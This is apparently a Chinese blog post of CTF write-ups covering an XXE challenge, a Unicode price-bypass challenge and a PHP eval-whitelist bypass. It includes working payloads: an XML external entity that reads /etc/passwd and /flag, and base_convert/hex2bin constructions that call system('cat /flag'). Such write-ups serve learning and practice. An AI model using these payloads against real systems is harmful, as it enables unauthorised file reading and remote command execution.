2021-02-04

46 篇文章 0 订阅
本文详细介绍了XML External Entity (XXE) 漏洞的原理及利用方式,通过示例展示了如何读取系统文件,并利用XXE获取flag。同时,讨论了UTF-8编码在不同场景下的应用,包括在绕过限制和解决编码问题中的作用。最后,文章通过一道题目解析了如何利用base_convert和dechex进行函数调用,完成特定操作,展示了PHP中的编码转换技巧。
摘要由CSDN通过智能技术生成

[NCTF2019]Fake XML cookbook

XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML

- XML被设计为传输和存储数据,其焦点是数据的内容。

- HTML被设计用来显示数据,其焦点是数据的外观。

XML基本格式与基本语法
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:

所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。

若多个字符都需要转义,则可以将这些内容存放到CDATA里面

<![CDATA[ 内容 ]]>

相关链接:

从XML相关一步一步到XXE漏洞

XXE攻击原理

流程:

首先尝试登陆:在这里插入图片描述
由题目提示,猜测为XXE漏洞。

查看网页源码:

<script type='text/javascript'> 
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}
</script>

使用BurpSuite抓取数据包:在这里插入图片描述
看到了其中的XML代码:<user><username>admin</username><password>admin</password></user>
XML用来传输存储数据,在后台解析XML时,没有禁止外部实体加载,构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

使用Repeater发送数据包:
在这里插入图片描述

得到回显:在这里插入图片描述
其中成功读取了/etc/passwd文件的内容,flag通常在根目录下,构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

得到flag:在这里插入图片描述

[ASIS 2019]Unicorn shop

UTF-8
UTF-8(8位元,Universal Character Set/Unicode Transformation Format)是针对Unicode的一种可变长度字符编码。它可以用来表示Unicode标准中的任何字符,而且其编码中的第一个字节仍与ASCII相容,使得原来处理ASCII字符的软件无须或只进行少部份修改后,便可继续使用。因此,它逐渐成为电子邮件、网页及其他存储或传送文字的应用中,优先采用的编码。
UTF-8介绍
UTF-8 制表符
流程:
进入页面在这里插入图片描述让我们买马?前三种比较便宜,第四种比较贵。
随便试一下
在这里插入图片描述在这里插入图片描述

发现提示只能允许输入一个字符
但只允许输入一个字符只能买1,2,3号马,买不了4号马,那么很显然,买到这个4号马,就能得到flag!
于是看看页面源代码在这里插入图片描述

提示UTF-8很重要
这里需要了解下UTF-8是什么类型编码
得到思路,利用Unicode字符中的一些特殊字符来代替输入的价格,从而得到flag
很全的Unicode字符

找寻指代thousand的Unicode字符在这里插入图片描述
选一个大于1337的 因为4号马的价格是1337
我选择了这个 它代表了5000
在这里插入图片描述
在这里插入图片描述或者
他的utf-8值为在这里插入图片描述

把0x换成%,然后就可以得到id=4&price=%E2%86%87
在这里插入图片描述

[CISCN 2019 初赛]Love Math

base_convert函数
在这里插入图片描述dechex(dec_number)

把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。

hexdec(hex_string)

把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数。

decbin decbin decoct octdec 同上,分别是二进制、八进制与十进制的互转。

打开后发现

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

根据题目的例子,我们试一下输入?c=20-1,得到19,看来这是一个计算器网页。
如果我们输入超过80位字符,就会返回在这里插入图片描述
输入/t等字符发现被过滤
在这里插入图片描述
分析一下在payload中,长度不能超过80,不能包含黑名单的字符,不能有不是白名单的函数出现。
在php中,我们可以将我们的函数名,通过字符串的方式进行传参,然后进行变量的动态调用函数而达到执行函数的目的。比如

$a='system';
$a('ls');

这个就会执行成system(‘ls’)。
我们可以利用白名单里面的base_convert和dechax进行进制转换。

base_convert()	在任意进制之间转换数字。
dechex()	把十进制转换为十六进制。

我们可以构造一个payload:
?c=$_GET[a]($_GET[b])&a=system&b=cat falg

其中[]我们可以通过花括号进行替代,而字符串_GET,在php中,我们有一个函数,可以将十六进制转换为字符串,叫做hex2bin。
我们可以利用base_convert 构造一个.
因为36进制中存在着数字字母,我们可以将十进制数转换为36进制数
在这里插入图片描述

base_convert(37907361743,10,36)
然后我们再利用dechex将_GET的十进制数转换为十六进制,再通过hex2bin转为字符串。

(dechex(1598506324))
修改上面的payload
分解:

base_convert(37907361743,10,36)得到“hex2bin”
dechex(1598506324)得到“5f474554”
$pi=hex2bin(5f474554)得到$pi="_GET"
($$pi){pi}(($$pi){abs})=$_GET{pi}($_GET{abs})
$_GET{pi}($_GET{abs})=$_GET{system}($_GET{cat /flag})

payload如下
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
在这里插入图片描述解法二:
另一种,不用$_GET的构造的话

我们执行system("ls")
那么payload如下:
?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
但是如果要执行system(“ls /”)的话,空格和/怎么办呢?

这里介绍一下getallheaders在这里插入图片描述
payload如下:
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
首先是利用$pi这个变量来缩短长度,然后是base_convert(1751504350,10,36),得到的是system,base_convert(8768397090111664438,10,30)得到的是getallheaders,至于为什么是30进制,因为这个:

Warning
由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。	

经过测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:1:cat /flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值